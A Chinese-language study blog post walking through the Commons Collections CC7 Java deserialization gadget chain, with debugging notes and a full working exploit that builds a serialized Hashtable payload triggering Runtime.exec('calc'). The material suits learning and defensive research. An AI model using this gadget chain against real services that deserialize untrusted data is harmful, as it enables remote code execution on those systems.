本文最后更新于 2026-02-03T12:01:51+08:00
学习文章:https://drun1baby.top/2022/06/29/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8708-CC7%E9%93%BE/
环境搭建
和CC1一样:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
分析链子
CC7和CC5一样,后面部分是CC1的LazyMap.get()
直接看 ysoserial 跟着分析

开始时Hashtable.readObject,最后调用到Hashtable#reconstitutionPut

然后跟进看reconstitutionPut,这里可以调到equals()

这个链子继续跟进就是调到AbstractMapDecorator#equals(),这个函数里还会再调一次equals()

AbstractMapDecorator继承了Map接口,继续找就是要找含有equals()方法的Map实现类

然后就是AbstractMap#equals(),这里可以调到get()方法,衔接上下面的CC1的LazyMap.get()

后面就是CC1了,整个链子就这些
构造链子
然后开始构造链子,依旧先是序列化和反序列化函数:
1 2 3 4 5 6 7 8 9
| public static void serialize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object oic = ois.readObject(); return oic; }
|
后面是CC1的LazyMap,直接代码拿来用:
1 2 3 4 5 6 7 8 9 10
| Class c = Runtime.class; Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedtransformer = new ChainedTransformer(t); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedtransformer);
|
先把开头的Hashtable写了,然后一点点调试

要调的reconstitutionPut在for循环里,传入三个参数,其中key和value就可以通过Hashtable.put()方法传入:

这里就可以将构造好的lazyMap作为key传入:
1 2
| Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap,"CC7");
|
然后开始调试:
先在下面这两处下断点,看看能不能走进reconstitutionPut函数里

可以走到想要的这个函数,继续走进看看

然后equals()和前一句for循环这里下个断点看看能不能走到

可以走到for循环这里

但是继续发现没有进入for循环

看一下进入for循环的条件是e != null,e的定义是Entry<?,?> e = tab[index],而tab[index]是空的,所以就不会进入for循环里
继续往下走就会给tab[index]赋值了,此时就不为空

继续走会又回到readObject的for循环这里,注意看此时还是第一次循环,elements的值为1

继续走一步结束这个循环,elements的值就为0了

现在想要在进入到这个循环里,去走进reconstitutionPut,刚才第一次循环的时候已经给tab[index]赋值了,所以第二次的时候就可以进入到reconstitutionPut函数里的那个for循环了
但是这里readObject的for循环条件是elements > 0,所以就要想办法让elements的初始值为2
这里去看 ysoserial 的链子,发现它是多了一个lazyMap,并且调用了两次LazyMap.put()方法

这里像它一样再加上一次看看:
1 2 3 4 5 6 7 8 9 10 11
| HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedtransformer); lazyMap1.put("aa",1); Map lazyMap2 = LazyMap.decorate(hashMap2, chainedtransformer); lazyMap2.put("bb",2);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1,1); hashtable.put(lazyMap2,2);
|
这里 put 传入 a 这种单字符的时候就会在序列化的时候报错,反序列化调试时候也会出现问题:第二次 readObject 的 for 循环进不去想要的 reconstitutionPut 方法里,但是传入 aa 这种双字符的就没问题了,不懂为什么

重新调试,elements就变成2了

这里AI一下为什么会这样,elements这个值哪来的:

所以这里就要传入两个键值对
继续调试,第一次到下面这里依旧没有进入for循环,但是给tab[index]赋值了

然后到第二次for循环时候,就可以进到reconstitutionPut的这个for循环中

但是会发现这里并没有进入到equals方法中

这就说明第一个条件(e.hash == hash)没有满足,这里的e = tab[index],在第一次循环中给tab[index]赋值是:tab[index] = new Entry<>(hash, key, value, e);,其中的hash = key.hashCode();,第一次循环时候的key是a,也就是说e.hash等同于aa.hashCode()

然后是后面的hash就是第二次循环时的hash = key.hashCode();,此时的key应该时bb,所以说hash等同于bb.hashCode,所以:
1
| (e.hash == hash) => (aa.hashCode() == bb.hashCode())
|
可能理解的有点不严谨,但最终应该就是要满足两个 key 的 hashCode 相同
所以要找能满足这个条件的,再去看官方的链子里怎么写的:

它这里传入的是yy和zZ,这就是一个Java的小Bug:
1
| "yy".hashCode() == "zZ".hashCode() = 3872
|
所以只要在前面put的时候传入的两个key分别是yy和zZ即可,这里value的值也要一样:
1 2 3 4 5 6 7 8 9 10 11
| HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedtransformer); lazyMap1.put("yy",1); Map lazyMap2 = LazyMap.decorate(hashMap2, chainedtransformer); lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1,1); hashtable.put(lazyMap2,2);
|

再看官方链子,最后还用了lazyMap2.remove("yy");

AI解释一下:

这是因为在Hashtable.put()方法中也会调用到equals()方法:

当执行到hashtable.put(lazyMap2,1)的时候,Hashtable会遍历存储的东西,检查是否存在相同的key,在第一步的时候lazyMap1就存进去了,为了确定是不是同一个key,就会执行entry.key.equals(key),这里就是会去调用AbstractMap.equals()

上面equals()方法中传入的o和后来的m都是lazyMap2,this是第一次就传入进去的lazyMap1,再下面是用了while循环去遍历lazyMap1的Entry,此时的key就是yy,继续走到m.get(key)这里时,也就相当于执行了lazyMap2.get("yy"),但是lazyMap2里没有yy这个键,所以就会自动生成一个yy键存到lazyMap2里,这就会导致后面比较hashCode()的时候就不相同了,调试看看:
Hashtable.put()这下俩断点:

再要传入lazyMap2这里也下一个:

开始调试,先F9跟进到传入lazyMap2这里,此时只有一个zZ

继续F9跟进到put的for循环这里,此时还没调用equals(),key只有zZ

继续F9一次,执行到if语句,去调用进equals里

可以F7步入看看,先调用AbstractMapDecorator.equals()

继续是AbstractMap.equals(),到getKey()这里获取到的key就是yy

继续到下面这,此时的m也就是lazyMap2还只有一个zZ

执行完这一句后就会多了一个yy

此时再去看main里的lazyMap2,会多了一个yy

所以要多写一个remove把lazyMap2里多的这个yy移除:

此时的EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.util.*;
public class CC7 { public static void main(String[] args) throws Exception{ Class c = Runtime.class; Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedtransformer = new ChainedTransformer(t);
HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedtransformer); lazyMap1.put("yy",1); Map lazyMap2 = LazyMap.decorate(hashMap2, chainedtransformer); lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1,1); hashtable.put(lazyMap2,1);
lazyMap2.remove("yy");
serialize(hashtable); unserialize("ser.bin"); }
public static void serialize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object oic = ois.readObject(); return oic; } }
|
运行会弹俩计算器,在序列化的时候就会弹一次

可以先在前面给ChainedTransformer传一个空的Transformer对象
1
| ChainedTransformer chainedtransformer = new ChainedTransformer(new Transformer[]{});
|
在最后再利用反射改回构造好的t
1 2 3
| Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedtransformer,t);
|

运行没问题了

完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.*;
public class CC7 { public static void main(String[] args) throws Exception{ Class c = Runtime.class; Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedtransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedtransformer); lazyMap1.put("yy",1); Map lazyMap2 = LazyMap.decorate(hashMap2, chainedtransformer); lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1,1); hashtable.put(lazyMap2,1);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedtransformer,t);
lazyMap2.remove("yy");
serialize(hashtable); unserialize("ser.bin"); }
public static void serialize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object oic = ois.readObject(); return oic; } }
|